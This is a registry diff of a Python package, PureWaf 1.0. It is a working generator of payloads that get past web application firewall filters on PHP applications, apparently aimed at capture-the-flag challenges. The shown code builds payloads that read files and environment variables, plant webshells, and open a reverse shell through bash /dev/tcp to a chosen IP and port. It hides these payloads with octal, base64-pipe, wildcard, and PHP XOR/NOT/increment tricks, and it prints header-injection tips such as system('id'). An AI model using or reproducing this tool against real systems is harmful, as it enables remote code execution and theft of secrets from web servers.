PureWaf 1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- PureWaf/PureWaf.py +269 -0
- PureWaf/__init__.py +3 -0
- PureWaf/bypass.py +301 -0
- PureWaf/bypass_data.py +206 -0
- PureWaf/utils.py +369 -0
- purewaf-1.0.dist-info/METADATA +352 -0
- purewaf-1.0.dist-info/RECORD +11 -0
- purewaf-1.0.dist-info/WHEEL +5 -0
- purewaf-1.0.dist-info/entry_points.txt +2 -0
- purewaf-1.0.dist-info/licenses/LICENSE +201 -0
- purewaf-1.0.dist-info/top_level.txt +1 -0
PureWaf/PureWaf.py
ADDED
|
@@ -0,0 +1,269 @@
|
|
|
1
|
+
# main package
|
|
2
|
+
|
|
3
|
+
import logging
|
|
4
|
+
import os
|
|
5
|
+
import sys
|
|
6
|
+
import time
|
|
7
|
+
|
|
8
|
+
from . import bypass
|
|
9
|
+
from . import bypass_data
|
|
10
|
+
from . import utils
|
|
11
|
+
|
|
12
|
+
version = "1.0"
|
|
13
|
+
|
|
14
|
+
SPECIAL_UPLOAD_POC_PAYLOAD = bypass_data.SPECIAL_UPLOAD_POC_TRIGGER_PAYLOADS[1]
|
|
15
|
+
SPECIAL_UPLOAD_POC_EGS = bypass_data.SPECIAL_UPLOAD_POC_EGS
|
|
16
|
+
BACKTRACK_LIMIT_POC_EGS = bypass_data.BACKTRACK_LIMIT_POC_EGS
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def banner(version_text):
|
|
20
|
+
return rf"""
|
|
21
|
+
____ __ __ ___
|
|
22
|
+
| _ \ _ _ _ __ ___ \ \ / /_ _ | _|
|
|
23
|
+
| |_) | | | | '__/ _ \ \ \ /\ / / _` /| |_
|
|
24
|
+
| __/| |_| | | | (_) | \ V V / (_| \| _|
|
|
25
|
+
|_| \__,_|_| \___/ \_/\_/ \__,_||_|
|
|
26
|
+
|
|
27
|
+
[ PureWaf :: Pure You Hate ]
|
|
28
|
+
[ Author :: Pure Stream ]
|
|
29
|
+
[ Version :: {version_text}]
|
|
30
|
+
[ Github :: https://github.com/PureStream108/PureWaf ]
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
"""
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def _configure_logger(log_level: str):
|
|
37
|
+
logger = logging.getLogger("PureWaf")
|
|
38
|
+
if not logger.handlers:
|
|
39
|
+
handler = logging.StreamHandler(sys.stdout)
|
|
40
|
+
formatter = logging.Formatter("%(message)s")
|
|
41
|
+
handler.setFormatter(formatter)
|
|
42
|
+
logger.addHandler(handler)
|
|
43
|
+
|
|
44
|
+
level_name = (log_level or "INFO").upper()
|
|
45
|
+
if level_name not in ["DEBUG", "INFO", "QUIET"]:
|
|
46
|
+
logger.warning("[!] Invalid log level, using INFO instead.")
|
|
47
|
+
level_name = "INFO"
|
|
48
|
+
|
|
49
|
+
show_progress = True
|
|
50
|
+
if level_name == "QUIET":
|
|
51
|
+
logger.setLevel(logging.CRITICAL)
|
|
52
|
+
sys.stdout = open(os.devnull, "w")
|
|
53
|
+
show_progress = False
|
|
54
|
+
else:
|
|
55
|
+
logger.setLevel(getattr(logging, level_name))
|
|
56
|
+
|
|
57
|
+
if level_name != "DEBUG":
|
|
58
|
+
import warnings
|
|
59
|
+
|
|
60
|
+
warnings.filterwarnings("ignore")
|
|
61
|
+
|
|
62
|
+
return logger, show_progress
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
def _emit_special_payload_egs(logger, payload):
|
|
66
|
+
if payload not in bypass_data.SPECIAL_UPLOAD_POC_TRIGGER_PAYLOADS:
|
|
67
|
+
return
|
|
68
|
+
logger.info("Example: ")
|
|
69
|
+
for line in bypass_data.SPECIAL_UPLOAD_POC_EGS.splitlines():
|
|
70
|
+
logger.info(line)
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def _extract_regex_pattern(waf_regex: str):
|
|
74
|
+
if not waf_regex:
|
|
75
|
+
return ""
|
|
76
|
+
pattern = waf_regex.strip()
|
|
77
|
+
if pattern.startswith("/") and pattern.count("/") >= 2:
|
|
78
|
+
last = pattern.rfind("/")
|
|
79
|
+
return pattern[1:last]
|
|
80
|
+
return pattern
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def _looks_like_backtrack_risk_regex(waf_regex: str):
|
|
84
|
+
pattern = _extract_regex_pattern(waf_regex)
|
|
85
|
+
if not pattern:
|
|
86
|
+
return False
|
|
87
|
+
|
|
88
|
+
lowered = pattern.lower()
|
|
89
|
+
if "(?r)" in lowered or "(?0)" in lowered:
|
|
90
|
+
return True
|
|
91
|
+
|
|
92
|
+
has_anchors = "^" in pattern and "$" in pattern
|
|
93
|
+
has_greedy_prefix = ".*(" in pattern or ".+(" in pattern
|
|
94
|
+
has_repeat = "*" in pattern or "+" in pattern or "{" in pattern
|
|
95
|
+
has_wide_class = r"\w" in pattern or r"\W" in pattern
|
|
96
|
+
|
|
97
|
+
return has_anchors and has_greedy_prefix and has_repeat and has_wide_class
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def _emit_contextual_tips(logger, payload, waf_regex):
|
|
101
|
+
_emit_special_payload_egs(logger, payload)
|
|
102
|
+
|
|
103
|
+
if payload in bypass_data.HEADER_TIP_TRIGGER_PAYLOADS:
|
|
104
|
+
logger.info("TIPS: User-Agent: 1=system('id');")
|
|
105
|
+
logger.info("TIPS: User-Agent: system('id');")
|
|
106
|
+
|
|
107
|
+
if payload in bypass_data.VARIABLE_HIJACK_TIP_TRIGGER_PAYLOADS:
|
|
108
|
+
logger.info("TIPS: POST: 1=system('id');")
|
|
109
|
+
|
|
110
|
+
if _looks_like_backtrack_risk_regex(waf_regex):
|
|
111
|
+
logger.info("Example (Backtrack limit bypass):")
|
|
112
|
+
for line in BACKTRACK_LIMIT_POC_EGS.splitlines():
|
|
113
|
+
logger.info(line)
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def purewaf(
|
|
117
|
+
waf_words="",
|
|
118
|
+
waf_chars="",
|
|
119
|
+
waf_regex="",
|
|
120
|
+
limit_length=999999,
|
|
121
|
+
flagfile="/flag",
|
|
122
|
+
read_env=False,
|
|
123
|
+
reflect_shell=False,
|
|
124
|
+
port=8080,
|
|
125
|
+
ip="127.0.0.1",
|
|
126
|
+
phpinfo=False,
|
|
127
|
+
log_level="INFO",
|
|
128
|
+
total_payload=False,
|
|
129
|
+
phpv=7.0,
|
|
130
|
+
):
|
|
131
|
+
logger, show_progress = _configure_logger(log_level)
|
|
132
|
+
logger.info(banner(version).rstrip())
|
|
133
|
+
time.sleep(1)
|
|
134
|
+
|
|
135
|
+
# 校验版本
|
|
136
|
+
try:
|
|
137
|
+
phpv = float(phpv)
|
|
138
|
+
except (ValueError, TypeError):
|
|
139
|
+
logger.error(f"[!] Invalid php_version: {phpv}. Using default 7.0")
|
|
140
|
+
phpv = 7.0
|
|
141
|
+
|
|
142
|
+
# 打印配置
|
|
143
|
+
logger.info("")
|
|
144
|
+
logger.info("-" * 40)
|
|
145
|
+
logger.info(f"[*] Configuration:")
|
|
146
|
+
logger.info(f" - waf_words: {waf_words}")
|
|
147
|
+
logger.info(f" - waf_chars: {waf_chars}")
|
|
148
|
+
logger.info(f" - waf_regex: {waf_regex}")
|
|
149
|
+
logger.info(f" - limit_length: {limit_length}")
|
|
150
|
+
logger.info(f" - flagfile: {flagfile}")
|
|
151
|
+
logger.info(f" - read_env: {read_env}")
|
|
152
|
+
logger.info(f" - reflect_shell: {reflect_shell}")
|
|
153
|
+
logger.info(f" - port: {port}")
|
|
154
|
+
logger.info(f" - ip: {ip}")
|
|
155
|
+
logger.info(f" - phpinfo: {phpinfo}")
|
|
156
|
+
logger.info(f" - phpv: {phpv}")
|
|
157
|
+
logger.info(f" - log_level: {log_level}")
|
|
158
|
+
logger.info(f" - total_payload: {total_payload}")
|
|
159
|
+
logger.info("-" * 40)
|
|
160
|
+
logger.info("")
|
|
161
|
+
|
|
162
|
+
waf_words_list = utils.parse_waf_words(waf_words)
|
|
163
|
+
waf_chars_set = utils.parse_waf_chars(waf_chars)
|
|
164
|
+
waf_regex_obj = utils.parse_waf_regex(waf_regex)
|
|
165
|
+
|
|
166
|
+
options_root = bypass.BypassOptions(
|
|
167
|
+
flagfile="/", # 初始默认根目录
|
|
168
|
+
read_env=False,
|
|
169
|
+
reflect_shell=False,
|
|
170
|
+
ip=ip,
|
|
171
|
+
port=port,
|
|
172
|
+
phpinfo=False,
|
|
173
|
+
php_version=phpv,
|
|
174
|
+
)
|
|
175
|
+
|
|
176
|
+
options_flag = bypass.BypassOptions(
|
|
177
|
+
flagfile=flagfile,
|
|
178
|
+
read_env=read_env,
|
|
179
|
+
reflect_shell=reflect_shell,
|
|
180
|
+
ip=ip,
|
|
181
|
+
port=port,
|
|
182
|
+
phpinfo=phpinfo,
|
|
183
|
+
php_version=phpv,
|
|
184
|
+
)
|
|
185
|
+
|
|
186
|
+
# 生成 payload
|
|
187
|
+
logger.info("[*] Generating payloads for Root Directory...")
|
|
188
|
+
base_payloads_root = bypass.generate_candidates(options_root)
|
|
189
|
+
if not base_payloads_root:
|
|
190
|
+
logger.warning("[!] No base payloads generated for Root Directory.")
|
|
191
|
+
shortest_root = "N/A"
|
|
192
|
+
else:
|
|
193
|
+
strategies = utils.get_encoding_strategies()
|
|
194
|
+
encoded_payloads_root = bypass.apply_encodings(base_payloads_root, strategies)
|
|
195
|
+
passed_root = bypass.filter_payloads(
|
|
196
|
+
encoded_payloads_root,
|
|
197
|
+
waf_words_list,
|
|
198
|
+
waf_chars_set,
|
|
199
|
+
waf_regex_obj,
|
|
200
|
+
limit_length,
|
|
201
|
+
show_progress=show_progress,
|
|
202
|
+
verbose=total_payload,
|
|
203
|
+
)
|
|
204
|
+
if not passed_root:
|
|
205
|
+
logger.warning("[!] No payload passed WAF filters for Root Directory.")
|
|
206
|
+
shortest_root = "N/A"
|
|
207
|
+
else:
|
|
208
|
+
shortest_root = min(passed_root, key=len)
|
|
209
|
+
|
|
210
|
+
logger.info("")
|
|
211
|
+
|
|
212
|
+
logger.info("[*] Generating payloads for Flag File...")
|
|
213
|
+
base_payloads_flag = bypass.generate_candidates(options_flag)
|
|
214
|
+
if not base_payloads_flag:
|
|
215
|
+
logger.warning("[!] No base payloads generated for Flag File.")
|
|
216
|
+
shortest_flag = "N/A"
|
|
217
|
+
else:
|
|
218
|
+
encoded_payloads_flag = bypass.apply_encodings(base_payloads_flag, strategies)
|
|
219
|
+
passed_flag = bypass.filter_payloads(
|
|
220
|
+
encoded_payloads_flag,
|
|
221
|
+
waf_words_list,
|
|
222
|
+
waf_chars_set,
|
|
223
|
+
waf_regex_obj,
|
|
224
|
+
limit_length,
|
|
225
|
+
show_progress=show_progress,
|
|
226
|
+
verbose=total_payload,
|
|
227
|
+
)
|
|
228
|
+
if not passed_flag:
|
|
229
|
+
logger.warning("[!] No payload passed WAF filters for Flag File.")
|
|
230
|
+
shortest_flag = "N/A"
|
|
231
|
+
else:
|
|
232
|
+
shortest_flag = min(passed_flag, key=len)
|
|
233
|
+
|
|
234
|
+
logger.info("")
|
|
235
|
+
logger.info("-" * 40)
|
|
236
|
+
logger.info(f"[+] Shortest Root Payload : {shortest_root}")
|
|
237
|
+
logger.info(f"[+] Shortest Flag Payload : {shortest_flag}")
|
|
238
|
+
logger.info("-" * 40)
|
|
239
|
+
logger.info("")
|
|
240
|
+
_emit_contextual_tips(logger, shortest_flag, waf_regex)
|
|
241
|
+
logger.info("")
|
|
242
|
+
|
|
243
|
+
return shortest_flag
|
|
244
|
+
|
|
245
|
+
|
|
246
|
+
def main():
|
|
247
|
+
import argparse
|
|
248
|
+
|
|
249
|
+
parser = argparse.ArgumentParser(description="PureWaf - WAF Bypass Payload Generator")
|
|
250
|
+
parser.add_argument("--waf_words", default="", help="Comma separated forbidden words")
|
|
251
|
+
parser.add_argument("--waf_chars", default="", help="Forbidden characters")
|
|
252
|
+
parser.add_argument("--waf_regex", default="", help="Forbidden regex")
|
|
253
|
+
parser.add_argument("--limit_length", type=int, default=999999, help="Max payload length")
|
|
254
|
+
parser.add_argument("--flagfile", default="/flag", help="Target file to read")
|
|
255
|
+
parser.add_argument("--read_env", action="store_true", help="Generate env reading payloads")
|
|
256
|
+
parser.add_argument("--reflect_shell", action="store_true", help="Generate reverse shell payloads")
|
|
257
|
+
parser.add_argument("--port", type=int, default=8080, help="Reverse shell port")
|
|
258
|
+
parser.add_argument("--ip", default="127.0.0.1", help="Reverse shell IP")
|
|
259
|
+
parser.add_argument("--phpinfo", action="store_true", help="Generate phpinfo payloads")
|
|
260
|
+
parser.add_argument("--log_level", default="INFO", help="Log level")
|
|
261
|
+
parser.add_argument("--total_payload", action="store_true", help="Show all passed payloads")
|
|
262
|
+
parser.add_argument("--phpv", default=7.0, type=float, help="PHP Version (e.g. 5.6, 7.4)")
|
|
263
|
+
|
|
264
|
+
args = parser.parse_args()
|
|
265
|
+
purewaf(**vars(args))
|
|
266
|
+
|
|
267
|
+
|
|
268
|
+
if __name__ == "__main__":
|
|
269
|
+
main()
|
PureWaf/__init__.py
ADDED
PureWaf/bypass.py
ADDED
|
@@ -0,0 +1,301 @@
|
|
|
1
|
+
from dataclasses import dataclass
|
|
2
|
+
|
|
3
|
+
from . import bypass_data
|
|
4
|
+
from . import utils
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
@dataclass
|
|
8
|
+
class BypassOptions:
|
|
9
|
+
flagfile: str
|
|
10
|
+
read_env: bool
|
|
11
|
+
reflect_shell: bool
|
|
12
|
+
ip: str
|
|
13
|
+
port: int
|
|
14
|
+
phpinfo: bool
|
|
15
|
+
php_version: float = 7.0
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def _octal_encode(command: str):
|
|
19
|
+
"""
|
|
20
|
+
八进制
|
|
21
|
+
"""
|
|
22
|
+
encoded = "".join(f"\\{oct(ord(c))[2:]}" for c in command)
|
|
23
|
+
return f"$'{encoded}'"
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def _wildcard_bypass(path: str):
|
|
27
|
+
"""
|
|
28
|
+
通配符
|
|
29
|
+
"""
|
|
30
|
+
if not path or path == "/":
|
|
31
|
+
return path
|
|
32
|
+
parts = path.split("/")
|
|
33
|
+
new_parts = []
|
|
34
|
+
for p in parts:
|
|
35
|
+
if len(p) > 1:
|
|
36
|
+
new_parts.append(p[0] + "?" * (len(p) - 1))
|
|
37
|
+
else:
|
|
38
|
+
new_parts.append(p)
|
|
39
|
+
return "/".join(new_parts)
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def _base64_pipe_bypass(command: str):
|
|
43
|
+
"""
|
|
44
|
+
变量拆分
|
|
45
|
+
"""
|
|
46
|
+
import base64
|
|
47
|
+
|
|
48
|
+
b64_cmd = base64.b64encode(command.encode()).decode()
|
|
49
|
+
|
|
50
|
+
assign_base64, concat_base64 = utils._split_string_to_vars("base64")
|
|
51
|
+
assign_sh, concat_sh = utils._split_string_to_vars("sh")
|
|
52
|
+
|
|
53
|
+
assign_echo, concat_echo = utils._split_string_to_vars("echo")
|
|
54
|
+
|
|
55
|
+
payload = f"{assign_base64}{assign_sh}{assign_echo} {concat_echo} {b64_cmd}| {concat_base64} -d| {concat_sh}"
|
|
56
|
+
|
|
57
|
+
return payload
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def _generate_php_rce_payloads(command: str, php_version: float):
|
|
61
|
+
"""
|
|
62
|
+
生成无字母数字
|
|
63
|
+
"""
|
|
64
|
+
payloads = []
|
|
65
|
+
|
|
66
|
+
for template in bypass_data.BACKTICK_TEMPLATES:
|
|
67
|
+
if "{path}" in template:
|
|
68
|
+
pass
|
|
69
|
+
else:
|
|
70
|
+
payloads.append(template.replace("{path}", command))
|
|
71
|
+
|
|
72
|
+
payloads.append(f"`{command}`")
|
|
73
|
+
|
|
74
|
+
wrappers = bypass_data.PHP_EXEC_WRAPPERS
|
|
75
|
+
|
|
76
|
+
for func in wrappers:
|
|
77
|
+
# 适用于 php7.0
|
|
78
|
+
if php_version >= 7.0:
|
|
79
|
+
not_func = utils.generate_php_not(func)
|
|
80
|
+
not_arg = utils.generate_php_not(command)
|
|
81
|
+
if not_func and not_arg:
|
|
82
|
+
payloads.append(f"{not_func}({not_arg});")
|
|
83
|
+
|
|
84
|
+
# 异或构造
|
|
85
|
+
xor_func = utils.generate_php_xor(func)
|
|
86
|
+
xor_arg = utils.generate_php_xor(command)
|
|
87
|
+
if xor_func and xor_arg:
|
|
88
|
+
# $_=...; $_(...);
|
|
89
|
+
var_func = "$_"
|
|
90
|
+
payloads.append(f"{var_func}={xor_func};{var_func}({xor_arg});")
|
|
91
|
+
|
|
92
|
+
# 自增
|
|
93
|
+
inc_func_code = utils.generate_php_increment(func)
|
|
94
|
+
inc_arg_code = utils.generate_php_increment(command)
|
|
95
|
+
|
|
96
|
+
if inc_func_code and inc_arg_code:
|
|
97
|
+
if xor_arg:
|
|
98
|
+
payloads.append(f"{inc_func_code};$_____({xor_arg});")
|
|
99
|
+
|
|
100
|
+
return payloads
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def _append_upload_exec_payloads(payloads):
|
|
104
|
+
# 最终验证包装
|
|
105
|
+
payloads.extend(bypass_data.UPLOAD_EXEC_TEMPLATES)
|
|
106
|
+
for cmd in bypass_data.UPLOAD_EXEC_TEMPLATES:
|
|
107
|
+
for wrapper in bypass_data.UPLOAD_EXEC_WRAPPER_TEMPLATES:
|
|
108
|
+
payloads.append(wrapper.format(cmd=cmd))
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
def generate_candidates(options: BypassOptions):
|
|
112
|
+
payloads = []
|
|
113
|
+
|
|
114
|
+
# 收集用于命令执行生成的目标命令
|
|
115
|
+
target_cmd = None
|
|
116
|
+
if options.flagfile:
|
|
117
|
+
target_cmd = f"cat {options.flagfile}"
|
|
118
|
+
|
|
119
|
+
for template in bypass_data.READFILE_TEMPLATES:
|
|
120
|
+
# 原始路径
|
|
121
|
+
payloads.append(template.format(path=options.flagfile, keyword="flag"))
|
|
122
|
+
# 通配符路径
|
|
123
|
+
payloads.append(template.format(path=_wildcard_bypass(options.flagfile), keyword="flag"))
|
|
124
|
+
# 转义路径
|
|
125
|
+
payloads.append(template.format(path=utils.obfuscate_filename_escape(options.flagfile), keyword="flag"))
|
|
126
|
+
# 引号路径
|
|
127
|
+
payloads.append(template.format(path=utils.obfuscate_filename_quotes(options.flagfile), keyword="flag"))
|
|
128
|
+
|
|
129
|
+
# 反引号 ``
|
|
130
|
+
for template in bypass_data.BACKTICK_TEMPLATES:
|
|
131
|
+
payloads.append(template.format(path=options.flagfile))
|
|
132
|
+
|
|
133
|
+
# 包含 include
|
|
134
|
+
for template in bypass_data.INCLUDE_TEMPLATES:
|
|
135
|
+
payloads.append(template.format(path=options.flagfile))
|
|
136
|
+
|
|
137
|
+
# 文件枚举
|
|
138
|
+
payloads.extend(bypass_data.FILE_ENUM_TEMPLATES)
|
|
139
|
+
|
|
140
|
+
if options.read_env:
|
|
141
|
+
payloads.extend(bypass_data.READ_ENV_TEMPLATES)
|
|
142
|
+
|
|
143
|
+
# 嵌套目录枚举
|
|
144
|
+
payloads.extend(bypass_data.DIRECTORY_ENUM_TEMPLATES)
|
|
145
|
+
|
|
146
|
+
_append_upload_exec_payloads(payloads)
|
|
147
|
+
|
|
148
|
+
# 日志包含
|
|
149
|
+
payloads.extend(bypass_data.LOG_INCLUSION_TEMPLATES)
|
|
150
|
+
target_cmd = "env"
|
|
151
|
+
|
|
152
|
+
if options.reflect_shell:
|
|
153
|
+
for template in bypass_data.REFLECT_SHELL_TEMPLATES:
|
|
154
|
+
payloads.append(template.format(ip=options.ip, port=options.port))
|
|
155
|
+
|
|
156
|
+
_append_upload_exec_payloads(payloads)
|
|
157
|
+
|
|
158
|
+
# 反弹shell
|
|
159
|
+
|
|
160
|
+
shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{options.ip}/{options.port} 0>&1'"
|
|
161
|
+
for template in bypass_data.WEBSHELL_TEMPLATES:
|
|
162
|
+
payloads.append(template.format(cmd=shell_cmd))
|
|
163
|
+
|
|
164
|
+
target_cmd = shell_cmd
|
|
165
|
+
|
|
166
|
+
if options.phpinfo:
|
|
167
|
+
for template in bypass_data.PHPINFO_TEMPLATES:
|
|
168
|
+
if template.startswith("(") and template.endswith(");"):
|
|
169
|
+
# 对php版本进行判断
|
|
170
|
+
if options.php_version < 7.0:
|
|
171
|
+
continue
|
|
172
|
+
payloads.append(template)
|
|
173
|
+
target_cmd = "phpinfo"
|
|
174
|
+
|
|
175
|
+
# Header 链利用
|
|
176
|
+
if options.read_env or options.phpinfo:
|
|
177
|
+
payloads.extend(bypass_data.HEADER_EXEC_TEMPLATES)
|
|
178
|
+
|
|
179
|
+
# 变量劫持
|
|
180
|
+
if options.reflect_shell or options.phpinfo:
|
|
181
|
+
payloads.extend(bypass_data.VARIABLE_HIJACK_TEMPLATES)
|
|
182
|
+
|
|
183
|
+
if target_cmd:
|
|
184
|
+
if target_cmd == "phpinfo":
|
|
185
|
+
# 自增
|
|
186
|
+
inc_code = utils.generate_php_increment("phpinfo")
|
|
187
|
+
if inc_code:
|
|
188
|
+
payloads.append(f"{inc_code};$_____();")
|
|
189
|
+
|
|
190
|
+
if options.php_version >= 7.0:
|
|
191
|
+
not_code = utils.generate_php_not("phpinfo")
|
|
192
|
+
payloads.append(f"{not_code}();")
|
|
193
|
+
else:
|
|
194
|
+
rce_payloads = _generate_php_rce_payloads(target_cmd, options.php_version)
|
|
195
|
+
payloads.extend(rce_payloads)
|
|
196
|
+
|
|
197
|
+
current_payloads = payloads.copy()
|
|
198
|
+
for p in current_payloads:
|
|
199
|
+
if ";" in p or "(" in p or "$_" in p:
|
|
200
|
+
for tag_tmpl in bypass_data.SHORT_TAG_TEMPLATES:
|
|
201
|
+
payloads.append(tag_tmpl.format(payload=p))
|
|
202
|
+
|
|
203
|
+
# 对当前已生成载荷应用编码管道绕过
|
|
204
|
+
base_payloads = payloads.copy()
|
|
205
|
+
for p in base_payloads:
|
|
206
|
+
# 仅作用于命令字符串
|
|
207
|
+
if ";" not in p and "(" not in p:
|
|
208
|
+
payloads.append(_base64_pipe_bypass(p))
|
|
209
|
+
|
|
210
|
+
# 八进制编码
|
|
211
|
+
simple_cmds = ["ls", "cat /flag", "tac /flag", "env"]
|
|
212
|
+
for cmd in simple_cmds:
|
|
213
|
+
payloads.append(_octal_encode(cmd))
|
|
214
|
+
|
|
215
|
+
# 空格 bypass
|
|
216
|
+
candidates = payloads.copy()
|
|
217
|
+
for p in payloads:
|
|
218
|
+
if " " in p:
|
|
219
|
+
for template in bypass_data.SPACE_BYPASS_TEMPLATES:
|
|
220
|
+
candidates.append(template.format(payload=p))
|
|
221
|
+
|
|
222
|
+
return utils.dedupe_preserve_order(candidates)
|
|
223
|
+
|
|
224
|
+
|
|
225
|
+
def apply_encodings(payloads, strategies):
|
|
226
|
+
encoded = []
|
|
227
|
+
for payload in payloads:
|
|
228
|
+
for _name, encoder in strategies:
|
|
229
|
+
try:
|
|
230
|
+
encoded.append(encoder(payload))
|
|
231
|
+
except Exception:
|
|
232
|
+
continue
|
|
233
|
+
return utils.dedupe_preserve_order(encoded)
|
|
234
|
+
|
|
235
|
+
|
|
236
|
+
def filter_payloads(
|
|
237
|
+
payloads,
|
|
238
|
+
waf_words,
|
|
239
|
+
waf_chars,
|
|
240
|
+
waf_regex,
|
|
241
|
+
limit_length,
|
|
242
|
+
show_progress=True,
|
|
243
|
+
verbose=False,
|
|
244
|
+
):
|
|
245
|
+
passed = []
|
|
246
|
+
progress = ProgressBar(len(payloads), verbose=verbose) if show_progress else None
|
|
247
|
+
for idx, payload in enumerate(payloads, start=1):
|
|
248
|
+
if progress:
|
|
249
|
+
progress.update(idx)
|
|
250
|
+
if utils.is_payload_allowed(payload, waf_words, waf_chars, waf_regex, limit_length):
|
|
251
|
+
passed.append(payload)
|
|
252
|
+
if progress:
|
|
253
|
+
progress.mark_pass(payload)
|
|
254
|
+
if progress:
|
|
255
|
+
progress.finish()
|
|
256
|
+
return passed
|
|
257
|
+
|
|
258
|
+
|
|
259
|
+
class ProgressBar:
|
|
260
|
+
def __init__(self, total, width=24, stream=None, verbose=False):
|
|
261
|
+
self.total = max(int(total), 0)
|
|
262
|
+
self.width = max(int(width), 5)
|
|
263
|
+
self.stream = stream
|
|
264
|
+
self.current = 0
|
|
265
|
+
self.passed = 0
|
|
266
|
+
self.verbose = verbose
|
|
267
|
+
|
|
268
|
+
def update(self, current):
|
|
269
|
+
self.current = current
|
|
270
|
+
self._write_line()
|
|
271
|
+
|
|
272
|
+
def mark_pass(self, payload):
|
|
273
|
+
self.passed += 1
|
|
274
|
+
if self.verbose:
|
|
275
|
+
self._write_line(end="\n")
|
|
276
|
+
self._write(f"PASS: {payload}\n")
|
|
277
|
+
else:
|
|
278
|
+
self._write_line()
|
|
279
|
+
|
|
280
|
+
def finish(self):
|
|
281
|
+
self.current = self.total
|
|
282
|
+
self._write_line(end="\n")
|
|
283
|
+
|
|
284
|
+
def _write_line(self, end=""):
|
|
285
|
+
bar = self._render_bar()
|
|
286
|
+
msg = f"\r{bar} {self.current}/{self.total} passed:{self.passed}"
|
|
287
|
+
self._write(msg + end)
|
|
288
|
+
|
|
289
|
+
def _render_bar(self):
|
|
290
|
+
if self.total <= 0:
|
|
291
|
+
filled = 0
|
|
292
|
+
else:
|
|
293
|
+
filled = int(self.width * (self.current / self.total))
|
|
294
|
+
return "[" + ("=" * filled).ljust(self.width, ".") + "]"
|
|
295
|
+
|
|
296
|
+
def _write(self, text):
|
|
297
|
+
import sys
|
|
298
|
+
|
|
299
|
+
stream = self.stream or sys.stdout
|
|
300
|
+
stream.write(text)
|
|
301
|
+
stream.flush()
|